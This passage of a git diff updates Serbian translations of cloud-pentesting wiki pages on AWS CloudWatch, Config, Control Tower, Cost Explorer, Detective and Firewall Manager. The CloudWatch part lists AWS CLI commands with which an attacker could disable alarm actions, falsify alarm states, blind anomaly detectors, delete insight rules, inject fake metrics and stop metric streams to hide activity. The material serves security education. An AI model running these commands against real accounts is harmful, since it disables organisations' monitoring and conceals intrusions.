**`SetAlarmState`** na kompozitnom alarmu, kompozitni alarm nije garantovan da će se vratiti u svoje stvarno stanje. Vraća se u svoje stvarno stanje samo kada se bilo koji od njegovih alarmnih podstanja promeni. Takođe se ponovo procenjuje ako ažurirate njegovu konfiguraciju. +- Ako koristite **`SetAlarmState`** na kompozitnom alarmu, kompozitni alarm nije garantovan da se vrati u svoje stvarno stanje. Vraća se u svoje stvarno stanje samo kada se bilo koji od njegovih pod-alarmova promeni. Takođe se ponovo procenjuje ako ažurirate njegovu konfiguraciju. ```bash aws cloudwatch disable-alarm-actions --alarm-names aws cloudwatch enable-alarm-actions --alarm-names aws cloudwatch set-alarm-state --alarm-name --state-value --state-reason [--state-reason-data ] ``` -**Potencijalni Uticaj**: Nedostatak obaveštenja za kritične događaje, potencijalni neotkriveni problemi, lažne alarme, potiskivanje stvarnih alarma i potencijalno propuštene detekcije pravih incidenata. +**Potencijalni uticaj**: Nedostatak obaveštenja za kritične događaje, potencijalni neotkriveni problemi, lažne alarme, potiskivanje stvarnih alarma i potencijalno propuštene detekcije stvarnih incidenata. ### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`** @@ -302,7 +302,7 @@ Napadač bi mogao da kompromituje sposobnost detekcije i odgovora na neobične o aws cloudwatch delete-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] ``` -Sledeći primer pokazuje kako učiniti detektor anomalija metrika neefikasnim. Ovaj detektor anomalija metrika prati prosečnu CPU upotrebu specifične EC2 instance, i samo dodavanjem parametra “ExcludedTimeRanges” sa željenim vremenskim opsegom, bilo bi dovoljno da se osigura da detektor anomalija ne analizira ili ne upozorava na bilo koje relevantne podatke tokom tog perioda. +Sledeći primer pokazuje kako učiniti detektor anomalija metrika neefikasnim. Ovaj detektor anomalija metrika prati prosečnu upotrebu CPU-a specifične EC2 instance, i samo dodavanjem parametra “ExcludedTimeRanges” sa željenim vremenskim opsegom, bilo bi dovoljno da se osigura da detektor anomalija ne analizira niti upozorava na bilo koje relevantne podatke tokom tog perioda. {{#tabs }} {{#tab name="Original Metric Anomaly Detector" }} @@ -323,7 +323,7 @@ Sledeći primer pokazuje kako učiniti detektor anomalija metrika neefikasnim. O ``` {{#endtab }} -{{#tab name="Modifikovani Detektor Anomalija Metrike" }} +{{#tab name="Modifikovani Metrika Anomalija Detektor" }} ```json { "SingleMetricAnomalyDetector": { @@ -360,11 +360,11 @@ Napadač bi mogao da kompromituje mogućnosti praćenja i vizualizacije organiza aws cloudwatch delete-dashboards --dashboard-names aws cloudwatch put-dashboard --dashboard-name --dashboard-body ``` -**Potencijalni Uticaj**: Gubitak vidljivosti nadzorom i obmanjujuće informacije. +**Potencijalni uticaj**: Gubitak vidljivosti nadzorom i obmanjujuće informacije. ### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`** -Insight pravila se koriste za otkrivanje anomalija, optimizaciju performansi i efikasno upravljanje resursima. Brisanjem postojećih insight pravila, napadač bi mogao ukloniti kritične mogućnosti nadzora, ostavljajući sistem slepim na probleme sa performansama i bezbednosne pretnje. Pored toga, napadač bi mogao kreirati ili modifikovati insight pravila kako bi generisao obmanjujuće podatke ili sakrio zlonamerne aktivnosti, što bi dovelo do netačnih dijagnostika i neadekvatnih odgovora operativnog tima. +Insight pravila se koriste za otkrivanje anomalija, optimizaciju performansi i efikasno upravljanje resursima. Brisanjem postojećih insight pravila, napadač bi mogao ukloniti kritične mogućnosti nadzora, ostavljajući sistem slep za probleme sa performansama i bezbednosnim pretnjama. Pored toga, napadač bi mogao kreirati ili modifikovati insight pravila kako bi generisao obmanjujuće podatke ili sakrio zlonamerne aktivnosti, što bi dovelo do netačnih dijagnostika i neadekvatnih odgovora operativnog tima. ```bash aws cloudwatch delete-insight-rules --rule-names aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ] @@ -374,7 +374,7 @@ aws cloudwatch put-managed-insight-rules --managed-rules ### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`** -Onemogućavanjem kritičnih pravila uvida, napadač bi mogao efikasno da zaslepi organizaciju za ključne metrike performansi i bezbednosti. S druge strane, omogućavanjem ili konfigurisanjem obmanjujućih pravila, moglo bi biti moguće generisati lažne podatke, stvoriti šum ili prikriti zlonamerne aktivnosti. +Onemogućavanjem kritičnih pravila uvida, napadač bi mogao efikasno da zaslepi organizaciju za ključne metrike performansi i bezbednosti. S druge strane, omogućavanjem ili konfigurisanje obmanjujućih pravila, moglo bi biti moguće generisati lažne podatke, stvoriti šum ili prikriti zlonamerne aktivnosti. ```bash aws cloudwatch disable-insight-rules --rule-names aws cloudwatch enable-insight-rules --rule-names @@ -399,25 +399,25 @@ Primer dodavanja podataka koji odgovaraju 70% iskorišćenosti CPU-a na datom EC ```bash aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg" ``` -**Potencijalni Uticaj**: Poremećaj u protoku podataka za praćenje, što utiče na otkrivanje anomalija i incidenata, manipulaciju resursima i povećanje troškova zbog kreiranja prekomernih tokova metrika. +**Potencijalni uticaj**: Poremećaj u protoku podataka o nadzoru, što utiče na otkrivanje anomalija i incidenata, manipulaciju resursima i povećanje troškova zbog kreiranja prekomernih tokova metrika. ### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`** -Napadač bi kontrolisao protok podataka o metrikama koji su pogođeni (svaki tok podataka ako ne postoji ograničenje resursa). Sa dozvolom **`cloudwatch:StopMetricStreams`**, napadači bi mogli da sakriju svoje zlonamerne aktivnosti zaustavljanjem kritičnih tokova metrika. +Napadač bi kontrolisao protok pogođenih tokova podataka o metrikama (svaki tok podataka ako ne postoji ograničenje resursa). Sa dozvolom **`cloudwatch:StopMetricStreams`**, napadači bi mogli da sakriju svoje zlonamerne aktivnosti zaustavljanjem kritičnih tokova metrika. ```bash aws cloudwatch stop-metric-streams --names aws cloudwatch start-metric-streams --names ``` -**Potencijalni uticaj**: Poremećaj u protoku podataka za praćenje, što utiče na otkrivanje anomalija i incidenata. +**Potencijalni uticaj**: Poremećaj u protoku podataka o nadzoru, što utiče na otkrivanje anomalija i incidenata. ### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`** -Napadač bi mogao da doda, izmeni ili ukloni oznake sa CloudWatch resursa (trenutno samo alarma i pravila za Contributor Insights). Ovo bi moglo poremetiti politike kontrole pristupa vaše organizacije zasnovane na oznakama. +Napadač bi mogao da doda, izmeni ili ukloni oznake sa CloudWatch resursa (trenutno samo alarma i pravila za Contributor Insights). To bi moglo da poremeti politike kontrole pristupa vaše organizacije zasnovane na oznakama. ```bash aws cloudwatch tag-resource --resource-arn --tags aws cloudwatch untag-resource --resource-arn --tag-keys ``` -**Potencijalni Uticaj**: Poremećaj politika pristupa zasnovanih na oznakama. +**Potencijalni uticaj**: Poremećaj politika pristupa zasnovanih na oznakama. ## Reference diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md index 5414d7483..a4230c828 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md @@ -4,17 +4,17 @@ ## AWS Config -AWS Config **prikuplja promene resursa**, tako da se svaka promena na resursu koji podržava Config može zabeležiti, što će **zabeležiti šta se promenilo zajedno sa drugim korisnim metapodacima, sve sadržano u datoteci poznatoj kao konfiguracijski element**, CI. Ova usluga je **specifična za region**. +AWS Config **beleži promene resursa**, tako da se svaka promena na resursu koji podržava Config može zabeležiti, što će **zabeležiti šta se promenilo zajedno sa drugim korisnim metapodacima, sve u datoteci poznatoj kao konfiguracijski element**, CI. Ova usluga je **specifična za region**. -Konfiguracijski element ili **CI**, kako se naziva, je ključna komponenta AWS Config-a. Sastoji se od JSON datoteke koja **sadrži informacije o konfiguraciji, informacije o odnosima i druge metapodatke kao trenutni pregled podržanog resursa**. Sve informacije koje AWS Config može zabeležiti za resurs su zabeležene unutar CI. CI se kreira **svaki put** kada se na podržanom resursu izvrši promena u njegovoj konfiguraciji na bilo koji način. Pored zabeležavanja detalja o pogođenom resursu, AWS Config će takođe zabeležiti CIs za sve direktno povezane resurse kako bi se osiguralo da promena nije uticala i na te resurse. +Konfiguracijski element ili **CI**, kako se naziva, je ključna komponenta AWS Config-a. Sastoji se od JSON datoteke koja **sadrži informacije o konfiguraciji, informacije o odnosima i druge metapodatke kao trenutni pregled podržanog resursa**. Sve informacije koje AWS Config može zabeležiti za resurs su zabeležene unutar CI. CI se kreira **svaki put** kada se na podržanom resursu izvrši bilo kakva promena u konfiguraciji. Pored beleženja detalja o pogođenom resursu, AWS Config će takođe zabeležiti CIs za sve direktno povezane resurse kako bi se osiguralo da promena nije uticala i na te resurse. -- **Metapodaci**: Sadrži detalje o samom konfiguracijskom elementu. ID verzije i ID konfiguracije, koji jedinstveno identifikuje CI. Druge informacije mogu uključivati MD5Hash koji vam omogućava da uporedite druge CI već zabeležene protiv istog resursa. +- **Metapodaci**: Sadrži detalje o samom konfiguracijskom elementu. ID verzije i ID konfiguracije, koji jedinstveno identifikuje CI. Druge informacije mogu uključivati MD5Hash koji vam omogućava da uporedite druge CIs već zabeležene za isti resurs. - **Atributi**: Ovo sadrži zajedničke **informacije o atributima u odnosu na stvarni resurs**. U okviru ovog odeljka, takođe imamo jedinstveni ID resursa i sve ključne oznake koje su povezane sa resursom. Tip resursa je takođe naveden. Na primer, ako je ovo bio CI za EC2 instancu, tipovi resursa koji su navedeni mogli bi biti mrežni interfejs ili elastična IP adresa za tu EC2 instancu. -- **Odnos**: Ovo sadrži informacije o bilo kojem povezanom **odnosu koji resurs može imati**. Dakle, unutar ovog odeljka, prikazivaće jasnu opis bilo kojeg odnosa sa drugim resursima koje je ovaj resurs imao. Na primer, ako je CI bio za EC2 instancu, odeljak o odnosima može prikazati vezu sa VPC-om zajedno sa podmrežom u kojoj se EC2 instanca nalazi. +- **Odnos**: Ovo sadrži informacije o bilo kojem povezanom **odnosu koji resurs može imati**. Tako da bi u ovom odeljku bila prikazana jasna opisna informacija o bilo kojem odnosu sa drugim resursima koje je ovaj resurs imao. Na primer, ako je CI bio za EC2 instancu, odeljak o odnosima može prikazati vezu sa VPC-om zajedno sa podmrežom u kojoj se EC2 instanca nalazi. - **Trenutna konfiguracija:** Ovo će prikazati iste informacije koje bi bile generisane ako biste izvršili opis ili listu API poziva napravljenih od strane AWS CLI. AWS Config koristi iste API pozive da dobije iste informacije. -- **Povezani događaji**: Ovo se odnosi na AWS CloudTrail. Ovo će prikazati **AWS CloudTrail ID događaja koji je povezan sa promenom koja je pokrenula kreiranje ovog CI**. Postoji novi CI napravljen za svaku promenu izvršenu na resursu. Kao rezultat, različiti CloudTrail ID događaja će biti kreirani. +- **Povezani događaji**: Ovo se odnosi na AWS CloudTrail. Ovo će prikazati **AWS CloudTrail ID događaja koji je povezan sa promenom koja je pokrenula kreiranje ovog CI**. Novi CI se pravi za svaku promenu izvršenu na resursu. Kao rezultat, biće kreirani različiti CloudTrail ID događaja. -**Istorija konfiguracije**: Moguće je dobiti istoriju konfiguracije resursa zahvaljujući konfiguracijskim elementima. Istorija konfiguracije se isporučuje svake 6 sati i sadrži sve CI za određeni tip resursa. +**Istorija konfiguracije**: Moguće je dobiti istoriju konfiguracije resursa zahvaljujući konfiguracijskim elementima. Istorija konfiguracije se isporučuje svake 6 sati i sadrži sve CI-e za određeni tip resursa. **Konfiguracijski tokovi**: Konfiguracijski elementi se šalju na SNS temu kako bi omogućili analizu podataka. @@ -38,7 +38,7 @@ Config pravila su odličan način da vam pomognu da **sprovodite specifične pro AWS ima niz **predefinisanih pravila** koja spadaju pod sigurnosni kišobran i spremna su za korišćenje. Na primer, Rds-storage-encrypted. Ovo proverava da li je enkripcija skladišta aktivirana od strane vaših RDS baza podataka. Encrypted-volumes. Ovo proverava da li su svi EBS volumeni koji imaju stanje povezano enkriptovani. - **AWS upravljana pravila**: Skup predefinisanih pravila koja pokrivaju mnogo najboljih praksi, tako da uvek vredi prvo pregledati ova pravila pre nego što postavite svoja, jer postoji šansa da pravilo već postoji. -- **Prilagođena pravila**: Možete kreirati svoja pravila za proveru specifičnih prilagođenih konfiguracija. +- **Prilagođena pravila**: Možete kreirati svoja pravila da proverite specifične prilagođene konfiguracije. Limit od 50 config pravila po regionu pre nego što morate kontaktirati AWS za povećanje.\ Neusaglašeni rezultati se NE brišu. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md index 434c85061..059521ddf 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md @@ -9,7 +9,7 @@ AWS Control Tower je **usluga koju pruža Amazon Web Services (AWS)** koja omogućava organizacijama da postave i upravljaju sigurnim, usklađenim, višekratnim okruženjem u AWS-u. -AWS Control Tower pruža **predefinisani set najboljih praksi** koji se može prilagoditi specifičnim **organizacijskim zahtevima**. Ove prakse uključuju unapred konfigurisane AWS usluge i funkcije, kao što su AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail i AWS Service Catalog. +AWS Control Tower pruža **predefinisani set najboljih praksi** koji se može prilagoditi specifičnim **organizacijskim zahtevima**. Ovi planovi uključuju unapred konfigurisane AWS usluge i funkcije, kao što su AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail i AWS Service Catalog. Sa AWS Control Tower-om, administratori mogu brzo postaviti **višekratno okruženje koje ispunjava organizacione zahteve**, kao što su **bezbednost** i usklađenost. Usluga pruža centralnu kontrolnu tablu za pregled i upravljanje nalozima i resursima, a takođe automatizuje dodeljivanje naloga, usluga i politika. @@ -19,7 +19,7 @@ Sve u svemu, AWS Control Tower pojednostavljuje proces postavljanja i upravljanj ### Enumeration -Za enumeraciju kontrola controltower-a, prvo morate **da ste enumerisali organizaciju**: +Za enumeraciju kontrola controltower-a, prvo morate **enumerisati organizaciju**: {{#ref}} ../aws-organizations-enum.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md index 090cf6449..01c528b67 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md @@ -4,8 +4,8 @@ ## Cost Explorer i detekcija anomalija -Ovo vam omogućava da proverite **kako trošite novac na AWS usluge** i pomaže vam u **detekciji anomalija**.\ -Pored toga, možete konfigurisati detekciju anomalija tako da vas AWS upozori kada se pronađe neka **anomalija u troškovima**. +Ovo vam omogućava da proverite **kako trošite novac na AWS uslugama** i pomaže vam u **detekciji anomalija**.\ +Pored toga, možete konfigurisati detekciju anomalija tako da vas AWS upozori kada se **pronađe anomalija u troškovima**. ### Budžeti diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md index ea146ab4f..71c231925 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md @@ -4,9 +4,9 @@ ## Detective -**Amazon Detective** pojednostavljuje proces istraživanja bezbednosti, čineći ga efikasnijim za **analizu, istraživanje i identifikaciju uzroka** bezbednosnih problema ili neobičnih aktivnosti. Automatski prikuplja podatke o logovima iz AWS resursa i koristi **mašinsko učenje, statističku analizu i teoriju grafova** za izgradnju međusobno povezanog skupa podataka. Ova postavka značajno poboljšava brzinu i efikasnost istraživanja bezbednosti. +**Amazon Detective** pojednostavljuje proces bezbednosne istrage, čineći ga efikasnijim za **analizu, istraživanje i identifikaciju uzroka** bezbednosnih problema ili neobičnih aktivnosti. Automatski prikuplja log podatke iz AWS resursa i koristi **mašinsko učenje, statističku analizu i teoriju grafova** za izgradnju međusobno povezanog skupa podataka. Ova postavka značajno poboljšava brzinu i efikasnost bezbednosnih istraga. -Usluga olakšava dubinsko istraživanje bezbednosnih incidenata, omogućavajući timovima za bezbednost da brzo razumeju i reše osnovne uzroke problema. Amazon Detective analizira ogromne količine podataka iz izvora kao što su VPC Flow Logs, AWS CloudTrail i Amazon GuardDuty. Automatski generiše **sveobuhvatan, interaktivan prikaz resursa, korisnika i njihovih interakcija tokom vremena**. Ova integrisana perspektiva pruža sve potrebne detalje i kontekst na jednom mestu, omogućavajući timovima da razjasne razloge iza bezbednosnih nalaza, ispituju relevantne istorijske aktivnosti i brzo utvrde uzrok. +Usluga olakšava dubinsko istraživanje bezbednosnih incidenata, omogućavajući bezbednosnim timovima da brzo razumeju i reše osnovne uzroke problema. Amazon Detective analizira ogromne količine podataka iz izvora kao što su VPC Flow Logs, AWS CloudTrail i Amazon GuardDuty. Automatski generiše **sveobuhvatan, interaktivan pregled resursa, korisnika i njihovih interakcija tokom vremena**. Ova integrisana perspektiva pruža sve potrebne detalje i kontekst na jednom mestu, omogućavajući timovima da razjasne razloge iza bezbednosnih nalaza, ispituju relevantne istorijske aktivnosti i brzo utvrde uzrok. ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md index 0084a34e5..cbfd30794 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md @@ -8,7 +8,7 @@ Usluga nudi mogućnost da **grupisete i zaštitite specifične resurse zajedno**, kao što su oni koji dele zajedničku oznaku ili sve vaše CloudFront distribucije. Značajna prednost Firewall Manager-a je njegova sposobnost da **automatski proširi zaštitu na novododate resurse** u vašem nalogu. -**Grupa pravila** (kolekcija WAF pravila) može biti uključena u AWS Firewall Manager politiku, koja je zatim povezana sa specifičnim AWS resursima kao što su CloudFront distribucije ili aplikacijski balansatori opterećenja. +**Grupa pravila** (kolekcija WAF pravila) može biti uključena u AWS Firewall Manager politiku, koja se zatim povezuje sa specifičnim AWS resursima kao što su CloudFront distribucije ili aplikacijski balansatori opterećenja. AWS Firewall Manager pruža **upravljane liste aplikacija i protokola** kako bi pojednostavio konfiguraciju i upravljanje politikama sigurnosnih grupa. Ove liste vam omogućavaju da definišete protokole i aplikacije koje su dozvoljene ili zabranjene vašim politikama. Postoje dve vrste upravljanih lista: @@ -19,54 +19,54 @@ Važno je napomenuti da **Firewall Manager politike dozvoljavaju samo "Block" il ### Prerequisites -Sledeći preduslovi moraju biti ispunjeni pre nego što nastavite sa konfigurisanjem Firewall Manager-a kako biste efikasno zaštitili resurse vaše organizacije. Ovi koraci pružaju osnovnu postavku potrebnu za Firewall Manager da sprovodi sigurnosne politike i osigura usklađenost širom vašeg AWS okruženja: +Sledeći koraci preduslova moraju biti završeni pre nego što nastavite sa konfiguracijom Firewall Manager-a kako biste efikasno zaštitili resurse vaše organizacije. Ovi koraci pružaju osnovnu postavku potrebnu za Firewall Manager da sprovodi sigurnosne politike i osigura usklađenost širom vašeg AWS okruženja: 1. **Pridružite se i konfigurišite AWS Organizations:** Osigurajte da je vaš AWS nalog deo AWS Organizations organizacije u kojoj su planirane AWS Firewall Manager politike. Ovo omogućava centralizovano upravljanje resursima i politikama širom više AWS naloga unutar organizacije. 2. **Kreirajte AWS Firewall Manager Default Administrator Account:** Uspostavite podrazumevani administratorski nalog posebno za upravljanje Firewall Manager sigurnosnim politikama. Ovaj nalog će biti odgovoran za konfiguraciju i sprovođenje sigurnosnih politika širom organizacije. Samo upravljački nalog organizacije može kreirati podrazumevane administratorske naloge Firewall Manager-a. -3. **Omogućite AWS Config:** Aktivirajte AWS Config kako biste Firewall Manager-u pružili potrebne podatke o konfiguraciji i uvide potrebne za efikasno sprovođenje sigurnosnih politika. AWS Config pomaže u analizi, reviziji, praćenju i reviziji konfiguracija resursa i promena, olakšavajući bolje upravljanje sigurnošću. +3. **Omogućite AWS Config:** Aktivirajte AWS Config kako biste obezbedili Firewall Manager-u potrebne podatke o konfiguraciji i uvide potrebne za efikasno sprovođenje sigurnosnih politika. AWS Config pomaže u analizi, reviziji, praćenju i reviziji konfiguracija resursa i promena, olakšavajući bolje upravljanje sigurnošću. 4. **Za politike trećih strana, pretplatite se u AWS Marketplace i konfigurišite postavke trećih strana:** Ako planirate da koristite politike vatrozida trećih strana, pretplatite se na njih u AWS Marketplace-u i konfigurišite potrebne postavke. Ovaj korak osigurava da Firewall Manager može integrisati i sprovoditi politike od pouzdanih dobavljača trećih strana. -5. **Za politike mrežnog vatrozida i DNS vatrozida, omogućite deljenje resursa:** Omogućite deljenje resursa posebno za politike mrežnog vatrozida i DNS vatrozida. Ovo omogućava Firewall Manager-u da primeni zaštitu vatrozida na VPC-ove vaše organizacije i DNS rezoluciju, poboljšavajući mrežnu sigurnost. +5. **Za politike mrežnog vatrozida i DNS vatrozida, omogućite deljenje resursa:** Omogućite deljenje resursa posebno za politike mrežnog vatrozida i DNS vatrozida. Ovo omogućava Firewall Manager-u da primeni zaštitu vatrozida na VPC-ove i DNS rezoluciju vaše organizacije, poboljšavajući mrežnu sigurnost. 6. **Da biste koristili AWS Firewall Manager u regionima koji su podrazumevano onemogućeni:** Ako nameravate da koristite Firewall Manager u AWS regionima koji su podrazumevano onemogućeni, osigurajte da preduzmete potrebne korake da omogućite njegovu funkcionalnost u tim regionima. Ovo osigurava dosledno sprovođenje sigurnosti širom svih regiona u kojima vaša organizacija posluje. -Za više informacija, pogledajte: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). +Za više informacija, proverite: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). ### Types of protection policies AWS Firewall Manager upravlja nekoliko vrsta politika za sprovođenje sigurnosnih kontrola širom različitih aspekata infrastrukture vaše organizacije: -1. **AWS WAF Policy:** Ova vrsta politike podržava i AWS WAF i AWS WAF Classic. Možete definisati koji resursi su zaštićeni politikom. Za AWS WAF politike, možete odrediti skupove grupa pravila koje će se izvršiti prvo i poslednje u web ACL-u. Pored toga, vlasnici naloga mogu dodavati pravila i grupe pravila koja će se izvršiti između ovih skupova. -2. **Shield Advanced Policy:** Ova politika primenjuje Shield Advanced zaštite širom vaše organizacije za određene tipove resursa. Pomaže u zaštiti od DDoS napada i drugih pretnji. -3. **Amazon VPC Security Group Policy:** Sa ovom politikom, možete upravljati sigurnosnim grupama koje se koriste širom vaše organizacije, sprovodeći osnovni skup pravila širom vašeg AWS okruženja kako biste kontrolisali mrežni pristup. -4. **Amazon VPC Network Access Control List (ACL) Policy:** Ova vrsta politike daje vam kontrolu nad mrežnim ACL-ima koji se koriste u vašoj organizaciji, omogućavajući vam da sprovodite osnovni skup mrežnih ACL-a širom vašeg AWS okruženja. +1. **AWS WAF Policy:** Ova vrsta politike podržava i AWS WAF i AWS WAF Classic. Možete definisati koji resursi su zaštićeni politikom. Za AWS WAF politike, možete odrediti skupove grupa pravila koje će se izvršavati prve i poslednje u web ACL-u. Pored toga, vlasnici naloga mogu dodavati pravila i grupe pravila koja će se izvršavati između ovih skupova. +2. **Shield Advanced Policy:** Ova politika primenjuje Shield Advanced zaštite širom vaše organizacije za specificirane tipove resursa. Pomaže u zaštiti od DDoS napada i drugih pretnji. +3. **Amazon VPC Security Group Policy:** Sa ovom politikom, možete upravljati sigurnosnim grupama koje se koriste širom vaše organizacije, sprovodeći osnovni set pravila širom vašeg AWS okruženja kako biste kontrolisali mrežni pristup. +4. **Amazon VPC Network Access Control List (ACL) Policy:** Ova vrsta politike daje vam kontrolu nad mrežnim ACL-ima koji se koriste u vašoj organizaciji, omogućavajući vam da sprovodite osnovni set mrežnih ACL-a širom vašeg AWS okruženja. 5. **Network Firewall Policy:** Ova politika primenjuje AWS Network Firewall zaštitu na VPC-ove vaše organizacije, poboljšavajući mrežnu sigurnost filtriranjem saobraćaja na osnovu unapred definisanih pravila. 6. **Amazon Route 53 Resolver DNS Firewall Policy:** Ova politika primenjuje DNS Firewall zaštite na VPC-ove vaše organizacije, pomažući u blokiranju pokušaja zlonamerne rezolucije domena i sprovođenju sigurnosnih politika za DNS saobraćaj. 7. **Third-Party Firewall Policy:** Ova vrsta politike primenjuje zaštite od vatrozida trećih strana, koje su dostupne putem pretplate kroz AWS Marketplace konzolu. Omogućava vam da integrišete dodatne sigurnosne mere od pouzdanih dobavljača u vaše AWS okruženje. 1. **Palo Alto Networks Cloud NGFW Policy:** Ova politika primenjuje zaštite i pravila Palo Alto Networks Cloud Next Generation Firewall (NGFW) na VPC-ove vaše organizacije, pružajući naprednu prevenciju pretnji i kontrole sigurnosti na nivou aplikacija. -2. **Fortigate Cloud Native Firewall (CNF) as a Service Policy:** Ova politika primenjuje zaštite Fortigate Cloud Native Firewall (CNF) kao uslugu, nudeći vodeću prevenciju pretnji, web aplikacijski vatrozid (WAF) i zaštitu API-ja prilagođenu za cloud infrastrukture. +2. **Fortigate Cloud Native Firewall (CNF) as a Service Policy:** Ova politika primenjuje zaštite Fortigate Cloud Native Firewall (CNF) kao uslugu, nudeći vodeću prevenciju pretnji, vatrozid za web aplikacije (WAF) i zaštitu API-ja prilagođenu za cloud infrastrukture. ### Administrator accounts AWS Firewall Manager nudi fleksibilnost u upravljanju resursima vatrozida unutar vaše organizacije kroz svoj administrativni opseg i dva tipa administratorskih naloga. -**Administrativni opseg definiše resurse kojima administrator Firewall Manager-a može upravljati**. Nakon što AWS Organizations upravljački nalog onboard-uje organizaciju u Firewall Manager, može kreirati dodatne administratore sa različitim administrativnim opsezima. Ovi opsezi mogu uključivati: +**Administrativni opseg definiše resurse kojima administrator Firewall Manager-a može upravljati**. Nakon što AWS Organizations upravljački nalog uključi organizaciju u Firewall Manager, može kreirati dodatne administratore sa različitim administrativnim opsezima. Ovi opsezi mogu uključivati: - Nalozi ili organizacione jedinice (OU) na koje administrator može primeniti politike. - Regioni u kojima administrator može izvršavati akcije. - Tipovi politika Firewall Manager-a kojima administrator može upravljati. -Administrativni opseg može biti **potpun ili ograničen**. Potpuni opseg daje administratoru pristup **svim navedenim tipovima resursa, regionima i tipovima politika**. Nasuprot tome, **ograničeni opseg pruža administrativna prava samo na podskup resursa, regiona ili tipova politika**. Preporučuje se da se administratorima dodele samo prava koja su im potrebna da efikasno obavljaju svoje uloge. Možete primeniti bilo koju kombinaciju ovih uslova administrativnog opsega na administratora, osiguravajući pridržavanje principa minimalnih privilegija. +Administrativni opseg može biti **potpun ili ograničen**. Potpuni opseg daje administratoru pristup **svim specificiranim tipovima resursa, regionima i tipovima politika**. Nasuprot tome, **ograničeni opseg pruža administrativna prava samo na podskup resursa, regiona ili tipova politika**. Preporučuje se da se administratorima dodele samo prava koja su im potrebna da efikasno obavljaju svoje uloge. Možete primeniti bilo koju kombinaciju ovih uslova administrativnog opsega na administratora, osiguravajući pridržavanje principa minimalnih privilegija. Postoje dva različita tipa administratorskih naloga, svaki sa specifičnim ulogama i odgovornostima: -- **Podrazumevani administrator:** -- Podrazumevani administratorski nalog kreira upravljački nalog AWS Organizations organizacije tokom onboardinga u Firewall Manager. +- **Default Administrator:** +- Podrazumevani administratorski nalog kreira upravljački nalog AWS Organizations organizacije tokom procesa uključivanja u Firewall Manager. - Ovaj nalog ima sposobnost da upravlja vatrozidima trećih strana i poseduje potpuni administrativni opseg. - Služi kao primarni administratorski nalog za Firewall Manager, odgovoran za konfiguraciju i sprovođenje sigurnosnih politika širom organizacije. - Dok podrazumevani administrator ima potpuni pristup svim tipovima resursa i administrativnim funkcionalnostima, deluje na istom nivou kao i drugi administratori ako se više administratora koristi unutar organizacije. -- **Administratori Firewall Manager-a:** +- **Firewall Manager Administrators:** - Ovi administratori mogu upravljati resursima unutar opsega koji je odredio upravljački nalog AWS Organizations, kako je definisano konfiguracijom administrativnog opsega. -- Administratori Firewall Manager-a se kreiraju da ispune specifične uloge unutar organizacije, omogućavajući delegaciju odgovornosti dok se održavaju standardi sigurnosti i usklađenosti. -- Prilikom kreiranja, Firewall Manager proverava sa AWS Organizations da li je nalog već delegirani administrator. Ako nije, Firewall Manager poziva Organizations da odredi nalog kao delegiranog administratora za Firewall Manager. +- Administratori Firewall Manager-a se kreiraju kako bi ispunili specifične uloge unutar organizacije, omogućavajući delegaciju odgovornosti dok se održavaju standardi sigurnosti i usklađenosti. +- Nakon kreiranja, Firewall Manager proverava sa AWS Organizations da li je nalog već delegirani administrator. Ako nije, Firewall Manager poziva Organizations da odredi nalog kao delegiranog administratora za Firewall Manager. Upravljanje ovim administratorskim nalozima uključuje njihovo kreiranje unutar Firewall Manager-a i definisanje njihovih administrativnih opsega prema sigurnosnim zahtevima organizacije i principu minimalnih privilegija. Dodeljivanjem odgovarajućih administrativnih uloga, organizacije mogu osigurati efikasno upravljanje sigurnošću dok održavaju granularnu kontrolu nad pristupom osetljivim resursima. @@ -161,13 +161,13 